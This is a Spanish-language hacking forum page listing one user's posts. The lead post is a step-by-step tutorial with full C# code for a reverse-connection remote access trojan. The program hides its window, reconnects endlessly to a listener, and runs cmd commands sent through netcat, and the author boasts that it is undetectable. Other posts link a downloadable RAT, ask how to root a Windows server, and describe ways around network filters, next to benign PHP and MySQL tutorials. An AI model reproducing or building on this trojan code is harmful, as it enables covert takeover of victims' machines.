elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: [1] 2 3
1  Seguridad Informática / Análisis y Diseño de Malware / Creando un Troyano en C# en: 26 Diciembre 2013, 22:26 pm
En este tuto voy a enseñar como crear el principio de un RAT de conexion inversa.

En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algun otro IDE.

***************Creando el Servidor*************


Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con una pausa del tiempo que nosotros indiquémos
Abrimos vs y creamos un nuevo proyecto de winform, y dos  clases con el nombre que querámos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:



Primero escribiremos la clase servidor

agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:

Código:
using System.IO; //Streams
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos


y nuestra clase quedará de la sig. manera:

Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos

namespace Server
{
    public class Servidor
    {
//variables necesarias para conectarnos al cliente de manera inversa, ademas de escuchar los mensajes de este

        private string ip;
        private int port;
        private TcpClient tcpClient;
        private NetworkStream ns;
        private StreamReader sr;
        private StreamWriter sw;
        private StringBuilder sb;     
       

        public Servidor(string ip, int port)
        {
            this.ip = ip;
            this.port = port;
        }

        private enum mensajes
        {
            CD,
            Mensaje
        }


        public void iniciar(int tiempo)
        {
            EjecutarServidor();
            Thread.Sleep(tiempo);           
        }

        private void EjecutarServidor()
        {
            tcpClient = new TcpClient();
            sb = new StringBuilder();

            if (!tcpClient.Connected)
            {
                try
                {
                    tcpClient.Connect(ip, port);
                    ns = tcpClient.GetStream();
                    sr = new StreamReader(ns);
                    sw = new StreamWriter(ns);

                }
                catch (Exception)
                {
                    return;
                }

                for (; ; )
                {
                    try
                    {
                        sb.Append(sr.ReadLine());
                        LeerDatos(sb.ToString());
                        sb.Remove(0, sb.Length);
                    }
                    catch (Exception)
                    {
                        limpiar();
                        break;
                    }

                }
            }//fin del if 
        }//fin del metodo EjecutarServidor

        private void LeerDatos(string datos)
        {
            string[] cadena = datos.Split('$');

            if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
            {
                Utilidades.mandarMensaje(cadena[1]);
            }
        }//fin de LeerDatos

        private void limpiar()
        {
            sr.Close();
            sw.Close();
            ns.Close();
        }//fin de limpiar
    }//fin clase servidor
}


Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader que usarémos para escuchar los mensajes que el cliente escriba.

Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:

si el cliente escribe por ejemplo  "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase Utilidades.

En el metodo iniciar hemos creado un bucle donde se ejecutará el metodo EjecutarServidor y ademas hará una pausa de x milisegundos.

El sig. metodo es el corazón del servidor, aqui intentarémos conectarnos y escucharémos los mensajes que el cliente nos pase

Los mensajes los validaremos en el metodo LeerDatos donde mandarémos como parametros el mensaje que el cliente escriba

Aquí mediante un string.compare() validamos si el mensaje es igual a lo que esperámos y si es así entonces ejecutarémos lo que haya en Utilidades
además usamos un split para seprar el mensaje del cliente, mas adelante con un ejemplo mostraré lo que realmente hace

el ultimo metodo es limpiar, aqui cerrarémos los streams.

ahora en la clase Utilidades, vamos a indicarle que sea estatica para no tener que instanciarla cada vez que la querámos utilizar

aqui simplemente se ejecuta un MessageBox.Show con el mensaje que el cliente haya escrito.

***************Usando la clase*************

ahora solo nos queda irnos al form y en el evento load de nuestro form y escribimos lo sig:

crearemos dos variables

Código:
private Servidor servidor;
        private int tiempoRecon;

en el contructor las asignarémos:

Código:
servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;

y el el evento load ejecutarémos nuestra clase:

Código:
private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }


el codigo completo es el sig:

Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Server
{
    public partial class Form1 : Form
    {
        private Servidor servidor;
        private int tiempoRecon;

        public Form1()
        {
            InitializeComponent();
            servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }
    }
}

***************Usar Netcat o Cryptcat como cliente*************

Como mandar los mensajes de un cliente.

bueno es muy facil podemos crear otra aplicación pero en este caso usarémos al viejo netcat o cryptcar

lo colocámos en c:\ y abrimos linea de comandos:

Código:
nc.exe -lvp 9999


ejecutamos nuestro servidor y verémos como estámos conectados

ahora solo escribirémos lo sig:

Mensaje$HolaDesdeElCliente

y verémos como se abre el MessageBox del servidor con el mensaje HolaDesdeElCliente

el mensaje del cliente como dije antes se valida en el metodo LeerDatos(string datos)


donde el parametro datos en este caso va a ser igual a "Mensaje$HolaDesdeElCliente"
y mediante el metodo string.split() vamos a separar en un arreglo todo el mensaje que haya antes del signo "$" y todo lo que haya despues
en este caso quedará asi:

Código:
string[] cadena = datos.Split('$');

siendo:
cadena[0] //Mensaje
y
cadena[1] //HolaDesdeElCliente

si escribimos cualquier otra cosa verémos que nuestro servidor no hace absolutamente nada.

pero bueno ya con ese estoy seguro que se les ocurrirá muchas cosas

bueno ahora verémos como hacerlo a la inversa (del servidor al cliente)

un ejemplo extremandamente sencillo será mandar un mensaje de Bienvenida una vez que el cliente se conecte

esto lo haremos simplemnete usando el metodo writeline de nuestro StreamWriter

solamente agregruen los sig. despues de que tcpclient se conecte:

Código:
sw.WriteLine("Hola");
sw.Flush();

con eso mandamos un mensaje mediante writeline y mediante flush borramos todos los búferes

una vez sabiendo esto es facil deducir lo que podemos hacer por ejemplo sería creando otra validacion en nuestro metodo LeerDatos

quedaría de la sig forma en pseudocdigo:

Código:
si el mensaje del cliente es igual a "dameIP" entonces
ejecutamos el metodo Utilidades.obtenerIP

y ese resultado lo mandamos mendiante writeline

como ven es muy facil crear un troyano simple.

ahora les voy a enseñar como mandar comandos cmd a nuestro servidor


agregamos un valor a la variable enum mensajes en mi caso quedó así:

Código:
private enum mensajes
        {
            CD,
            Mensaje,
            comando
        }


y validamos el mensaje en el metodo LeerDatos

Código:
if (String.Compare(cadena[0], mensajes.comando.ToString()) == 0)
            {
                Utilidades.consola(cadena[1]);
            }



agregamos el sig. namespace en nuestra clase utilidades:

Código:
using System.Diagnostics;

y creamos el sig metodo en la clase Utilidades


Código:
public static void consola(string comando)
        {
            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput =
            true;
            cmd.StartInfo.RedirectStandardOutput =
            true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.Start();           

            cmd.StandardInput.WriteLine(comando);
            cmd.StandardInput.Flush();
            cmd.StandardInput.Close();
        }


y listo, ahora ejecutamos el servidor, abrimos netcat y mandamos mensaje de la siguiente forma:
comando$md pruebaaaaaa

donde comando es el mensaje que va a validar en LeerDatos
$ es simbola para separar
y md prueba es el comando (crear carpeta pruebaaaaa)

como ven es extremadamente sencillo

ya con esto hemos hecho un RAT funcional y lo mejor de todo FUD

Devilboy
2  Informática / Software / CodeShell RAT en: 22 Diciembre 2013, 20:53 pm
Ojala les guste.

Coded en C#

probado en windows 7, 8 y 81 en 32 y 64 bit






Código:
https://drive.google.com/file/d/0B55R3pNOtd8lR1RXcFUyZ3hqM2c/edit?usp=sharing

Ojala lo disfruten tanto como yo he disfrutado codeandolo xD
3  Programación / .NET (C#, VB.NET, ASP) / Como crear un exe en un windows form en: 20 Noviembre 2013, 16:42 pm
digamos que tengo el cliente de un rat y quiero que el mismo cliente me cree el servidor.

Como se podría hacer esto???
4  Informática / Hardware / Ayudaa con tarjeta de video en: 19 Junio 2012, 20:56 pm
cual de estas dos es mejor?

AMD Radeon™ HD 7870 2GB GDDR5

ó

1GB GDDR5 NVIDIA® GeForce® GTX 555

ó

NVIDIA® GeForce® GT 640 1GB GDDR5

me urge por favor
5  Seguridad Informática / Hacking / [Esconder ip] Navegación segura sobre internet en: 28 Abril 2012, 21:53 pm
Cuantas veces nos encontrámos dentro de una red donde tenga bloqueado youtube, facebook, twitter, etc.

Bueno aqúi les traigo unos metodos para poder saltarnos estas restricciones.

-------[[PROXYS]]-----

Muchos de nosotros sabemos que son y para que sirven pero veamos los que nos dice la Wiki:

Un proxy, en una red informática, es un programa o dispositivo que realiza una acción en representación de otro, esto es, si una hipotética máquina A solicita un recurso a una C, lo hará mediante una petición a B; C entonces no sabrá que la petición procedió originalmente de A. Su finalidad más habitual es la de servidor proxy, que sirve para interceptar las conexiones de red que un cliente hace a un servidor de destino, por varios motivos posibles como seguridad, rendimiento, anonimato, etc.

Teniendo mas claro en concepto dejaré algunas paginas que ofrecen este servicio:

http://hidemyass.com/proxy-list/
http://dtunnel.com
http://www.tubeoxy.com
http://www.kproxy.biz/
http://atunnel.com/
http://www.proxy4free.com/list/webproxy1.html

https://ssl-proxy.my-addr.com/  -------> Este es mi preferido ya que funciona sobre ssl

Existen muuuuchas mas pero solo pondré esas pocas ademas el uso de estas paginas no es totalmente de mi agrado ya que son bastante lentas.

-------[[ULTRASURF]]-----

Muchos dirán, ¿pero si ese es tambien un proxy, xq lo pones separado?

Bueno la respuesta es sí, si es un proxy pero yo creo que se ha ganado su propio espacio ya que me parece estupendo.
Se preguntarán como se usa, bueno es muy simple.
Lo unico que tenemos que hacer es bajarlo de la pagina oficial y sin necesidad de instalarlo solo damos doble click y este programa buscará el proxy mas cercano y nos conectarémos a este.

Si necesitan mas info aqui les dejo la pagina oficial donde podrán ver de que se trata ademas de descargarlo.

http://ultrasurf.us/

-------[[VPN]]-----

Segun la wiki:

Una red privada virtual, RPV, o VPN de las siglas en inglés de Virtual Private Network, es una tecnología de red que permite una extensión de la red local sobre una red pública o no controlada.

Ejemplos comunes son la posibilidad de conectar dos o más sucursales de una empresa utilizando como vínculo Internet, permitir a los miembros del equipo de soporte técnico la conexión desde su casa al centro de cómputo, o que un usuario pueda acceder a su equipo doméstico desde un sitio remoto, como por ejemplo un hotel. Todo ello utilizando la infraestructura de Internet.

En pocas palabras, es como si nos conectaramos a otra red dentro de nuestra misma red.

les pondré un ejemplo para que quede mas claro.

Nos encontramos conectados a las red A, pero la red A cuenta con filtros para bloquearnos youtube, fb, etc.
Entonces nos conectamos a la red B que es una red "limpia" sin bloqueos, asi que desde nuestra red A conectada a la red B tenemos acceso libre a cualquier pagina.

Como no todo puede ser maravilloso nos encontrámos con unos problemitas y estos son que las vpn no son gratuitas.
Existen algunas que lo son, pero tienen la condición de que duran muy poco o solo la podemos usar por cierta cantidad de Mb.

Les dejaré la lista de algunas VPN´s gratuitas:

http://www.tunnelbear.com/   vpn gratuita que solo se instala y te deja usar 100mb por mes, al termino del mes te da de nuevo los 100mb.
http://openvpn.net/   me parece que tambien te da 100mb por cada cuenta que creemos
http://cyberghostvpn.com/ otra vpn gratis, me parece que está no tiene reestricciones pero no me gustó xq me sacaba a cada rato.

http://www.xpdo.net/  -------> Mi preferida ya que sin instalar nada tendrémos una vpn gratis y rapida.
http://www.xpdo.net/setup_win7.html    esta es la pagina que enseña como configurarla.
el unico pero que tiene es que la contraseña cambia cada 30 minutos, pero es tan facil como volver a conectarnos, cambia el pass y listo.


-------[[TUNEL SSH]]-----

Guardé lo mejor para el final.

Segun la wiki:

Túnel SSH

El protocolo SSH (secure shell) se utiliza con frecuencia para tunelizar tráfico confidencial sobre Internet de una manera segura. Por ejemplo, un servidor de ficheros puede compartir archivos usando el protocolo SMB (Server Message Block), cuyos datos no viajan cifrados. Esto permitiría que una tercera parte, que tuviera acceso a la conexión (algo posible si las comunicaciones se realizan en Internet) pudiera examinar a conciencia el contenido de cada fichero trasmitido.

Para poder montar el sistema de archivo de forma segura, se establece una conexión mediante un túnel SSH que encamina todo el tráfico SMB al servidor de archivos dentro de una conexión cifrada SSH. Aunque el protocolo SMB sigue siendo inseguro, al viajar dentro de una conexión cifrada se impide el acceso al mismo.

Por ejemplo, para conectar con un servidor web de forma segura, utilizando SSH, haríamos que el cliente web, en vez de conectarse al servidor directamente, se conecte a un cliente SSH. El cliente SSH se conectaría con el servidor tunelizado, el cual a su vez se conectaría con el servidor web final. Lo atractivo de este sistema es que hemos añadido una capa de cifrado sin necesidad de alterar ni el cliente ni el servidor web.

Pondré un ejemplo para entender mejor como funciona esto:

Existen paginas donde ofrecen el uso de una consola con GNU/Linux.
Se preguntarán para que, bueno simplemente para que las personas aprendámos el uso de este.

La verdad es que me parece espectacular este servicio, xq creanme que se aprende mucho, ya que tenemos el poder de una consola con GNU/Linux desde cualquier computadora o dispositivo movil.

Lo primero que tenemos que hacer es conseguir una cuenta y mediante el uso de putty (cliente ssh) creamos el tunel y una vez configurado nuestro navegador tendrémos libre acceso en internet.

Existen muchas paginas web que ofrecen este servicio mediante una cuota mensual, otros anual pero tambien existen los gratuitos.

Pondré la lista de estos

http://hypeshell.com/ Excelente solo que cobra creo que 5 Euros al año
https://camolist.com/ Otra excelente solo que mas cara.

http://shellmix.com/index.php/free-account/free-shell-account    ---------> Mi favorita ya que es totalmente gratuita


Ademas otra punto exclenete es que podemos configurar la pc de nuestra casa, creando un servidor ssh y asi conectarnos a nuestra casa desde la red bloqueada.

Les dejo este tuto que hice hace tiempo sobre como crear un servidor ssh en nuestra pc y por si quieren las de la red tambien viene en la pagina 6 como configurar el putty para hacerlo.

http://www.mediafire.com/view/?aoh3fwjts5ccxnf

Tambien les dejo este enlace donde enseña como configurar el navegador, solo recuerden usar su cuenta

https://camolist.com/sshtunnel/windows/

Aclaro que no son las únicas, existen muchas mas gratis, solo es cuestión de buscarlas

Cualquier duda con gusto les ayudaré

salu2
6  Seguridad Informática / Hacking / [Duda] Como rootear en: 13 Octubre 2011, 04:03 am
alguno sabe como rootear este servidor windows???


Software: Microsoft-IIS/7.5. PHP/5.3.6

uname -a: Windows NT NTC22 6.1 build 7601 (Unknow Windows version Standard Edition Service Pack 1)
i586



les agradeceré mucho su ayuda


salu2
7  Foros Generales / Foro Libre / [Duda] Como sacar clave de windows 7 en: 10 Octubre 2011, 18:01 pm
bueno hace tiempo la sacaba con este programa

http://www.nirsoft.net/utils/product_cd_key_viewer.html

pero enmi trabajo me la formatearon y ahora no la saca



alguna idea??

he probado otros programas y me muestran esto

BBBBB-BBBBB-BBBBB-BBBBB-BBBBB

ah y es el windows 7 professional sp1
8  Foros Generales / Foro Libre / Videotutorial OpenFire en: 8 Agosto 2011, 20:32 pm

¿Que es OpenFire?

Bueno esta herramientas nos permite crear un webservice para poder chatear dentro de nuestra lan o via remota.

Pero lo mejor de todo es que es gratis, facil de usar y de codigo abierto.

Bueno aki les dejo el videotuto que acabo de crear, espero les guste

http://www.mediafire.com/?k3bwar1aq4c69tk


Nota: que alguno mod lo mueva a manuales o algo asi, xq a mi no me deja crear nuevos temas
9  Programación / PHP / Autocomplete Dinamico con Jquery, PHP y MySQL en: 7 Junio 2011, 17:02 pm
Un tuto que acabo de hacer sobre crear un autocomplete dinamico.

aki una imagen sacada de la web de jquery



espero les guste

http://www.mediafire.com/?ee8pwfsingxyq96


salu2
10  Programación / Bases de Datos / Stored Procedures en MySQL en: 27 Mayo 2011, 19:14 pm
STORED PROCEDURES

Bueno en este tutorial intentaré explicar que es un Procedimiento Almacenado.

Definición.

Según la wiki:
Un procedimiento almacenado (stored procedure en inglés) es un programa (o procedimiento) el cual es almacenado físicamente en una base de datos. Su implementación varía de un gestor de bases de datos a otro. La ventaja de un procedimiento almacenado es que al ser ejecutado, en respuesta a una petición de usuario, es ejecutado directamente en el motor de bases de datos, el cual usualmente corre en un servidor separado. Como tal, posee acceso directo a los datos que necesita manipular y sólo necesita enviar sus resultados de regreso al usuario, deshaciéndose de la sobrecarga resultante de comunicar grandes cantidades de datos salientes y entrantes.
Usos típicos para procedimientos almacenados incluyen la validación de datos siendo integrados a la estructura de base de datos (los procedimientos almacenados utilizados para este propósito a menudo son llamados disparadores; triggers en inglés), o encapsular un proceso grande y complejo. El último ejemplo generalmente ejecutará más rápido como un procedimiento almacenado que de haber sido implementado como, por ejemplo, un programa corriendo en el sistema cliente y comunicándose con la base de datos mediante el envío de consultas SQL y recibiendo sus resultados.
Los procedimientos pueden ser ventajosos: Cuando una base de datos es manipulada desde muchos programas externos. Al incluir la lógica de la aplicación en la base de datos utilizando procedimientos almacenados, la necesidad de embeber la misma lógica en todos los programas que acceden a los datos es reducida. Esto puede simplificar la creación y, particularmente, el mantenimiento de los programas involucrados.

Podemos ver un claro ejemplo de estos procedimientos cuando requerimos realizar una misma operación en un servidor dentro de algunas o todas las bases de datos y a la vez dentro de todas o algunas de las tablas de las bases de datos del mismo. Para ello podemos utilizar a los Procedimientos almacenados auto creables que es una forma de generar ciclos redundantes a través de los procedimientos almacenados.

En pocas palabras un stored procedure (SP) es un programa (script) con sentencias sql que se ejecuta en la base de datos.
Para que tengan otra idea de lo que es,  imaginemos una función o método en programación.

Creando nuestro primer Stored Procedure (SP)

Antes de otra cosa creemos una nueva base de datos para hacer nuestros ejercicios:

Código:
Create database sp;
Use sp;
CREATE TABLE alumnos (idAlumno INT NOT NULL PRIMARY KEY AUTO_INCREMENT, nombre VARCHAR(50), apellido VARCHAR(30));
CREATE TABLE profesores (idProfesor INT NOT NULL PRIMARY KEY AUTO_INCREMENT, nombre VARCHAR(50), apellido VARCHAR(30));
INSERT INTO alumnos VALUES('','pepe','pecas');
INSERT INTO alumnos VALUES('','juan','el toro');
INSERT INTO profesores VALUES('','juan','alejandro');
INSERT INTO profesores VALUES('','carlos','perez');

Lo que hicimos fue crear una base de datos llamada SP y creamos dos tablas llamas alumnos y profesores con solo 3 campos: id, nombre y apellido.
Además ingresamos 2 usuarios a la tabla alumnos y profesores.
Ahora creáremos nuestro primer SP:

Código:
DELIMITER//
CREATE PROCEDURE listar()
BEGIN
SELECT * FROM alumnos;
END//
DELIMITER;

Delimiter// nos sirve para cambiar la forma de terminación de nuestras sentencias SQL  de; por //
Esto nos sirve por si tenemos más de una sentencia SQL en nuestro SP
La siguiente línea sirve para crear y darle nombre a nuestro SP, en este caso el nuestro se llama listar y necesita llevar paréntesis ().
Con la palabra reservada BEGIN le indicamos donde inicia y con END donde termina nuestro SP.
Todas las sentencias SQL se deben de hacer dentro de este bloque y deben de ir finalizadas por;
En este caso solo mostramos todos los registros de la tabla alumnos.
La palabra END debe de finalizar con el delimitador que establecimos con anterioridad, aquí se puede usar el que queramos por ejemplo $$, etc.

Y en la última línea regresamos el delimitador de // por;
Ya tenemos creado nuestro primer SP, ahora para usarlo escribimos lo siguiente:

CALL nombre_del_sp();

En este caso quedaría así:

Código:
CALL listar();

Y nos mostrará todos los registros de la tabla alumnos.

USO DE PARAMETROS

Veamos otro ejemplo con el mismo SP pero pasándole parámetros.
Los parámetros sirven para hacer más flexible y útil a los SP.

Existen 3 tipos de parámetros:

IN: Que son los parámetros de entrada, sirven para ingresar información  (La palabra IN es por defecto, así que si la omitimos no pasa nada).
OUT:
Parámetros de salida, sirven para extraer información
INOUT: Muy obvio creo…

PARAMETROS IN (ENTRADA)

Código:
DELIMITER//
CREATE PROCEDURE listarNombre(nombreAlumno  varchar(20))
BEGIN
SELECT * FROM alumnos where nombre = nombreAlumno;
END//

Con esto pasamos un parámetro IN a nuestro SP,  donde nos va a seleccionar todos los registros de la tabla alumnos donde nombre sea igual al parámetro.
CALL listarNombre(‘pepe’);

PARAMETROS OUT (SALIDA)


Veamos un ejemplo para entenderlo mejor

Código:
DELIMITER $$

CREATE PROCEDURE salida(id INT,OUT nombreAlumno VARCHAR(20))
BEGIN
SELECT nombre FROM alumnos WHERE idAlumno = id INTO nombreAlumno ;
END$$
DELIMITER ;

Y para llamarlo usamos:

Código:
CALL salida(2,@nombre);

Bueno y si se dan cuenta no pasa nada, no muestra el registro, lo que pasa es que hace falta mostrarlo y para eso usamos lo siguiente:

Código:
SELECT @nombre;

Aquí lo que hicimos fue pasarle un parámetro de entrada (IN) y regresar el resultado a la variable nombreAlumno(OUT).
Esto es muy parecido a lo que hacemos al programar, cuando creamos una función o método y usamos la palabra reservada return para regresar el resultado o un valor.

PARAMETRO ENTRADA-SALIDA (INOUT)


Código:
DELIMITER $$
CREATE PROCEDURE entradaSalida(INOUT variable VARCHAR(20))
BEGIN
SELECT nombre FROM alumnos WHERE idAlumno = variable INTO variable;
END$$
DELIMITER ;


En este ejemplo solo usamos una variable para asignar un valor y extraer el resultado.
Ahora ¿cómo lo ejecutamos?

Código:
SET @nombre = 2;
CALL salida(@nombre);
SELECT @nombre;

VARIABLES EN SP

Así como cuando programamos usamos variables, pues en los SP también se usan.
Pongamos un ejemplo muy sencillo.

Código:
DELIMITER $$
CREATE PROCEDURE variable()
    BEGIN   
DECLARE id INT;
SET id = 1;
SELECT * FROM alumnos WHERE idAlumno = id;
    END$$
DELIMITER ;

Usando Declare asignamos el nombre y tipo de la variable y con set asignamos un valor a nuestra variable.
También es posible declarar e inicializar una variable de la siguiente forma:

Código:
DECLARE id INT DEFAULT 1;

Probamos nuestro SP hacienda un llamado a variable:

Código:
CALL variable();

Bueno con esto termino la primera parte.

Espero les guste y les sirva

Dejo un archivo por si lo quieren descargar

http://www.mediafire.com/?7am7yur420wo29s

salu2

Devilboy

Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines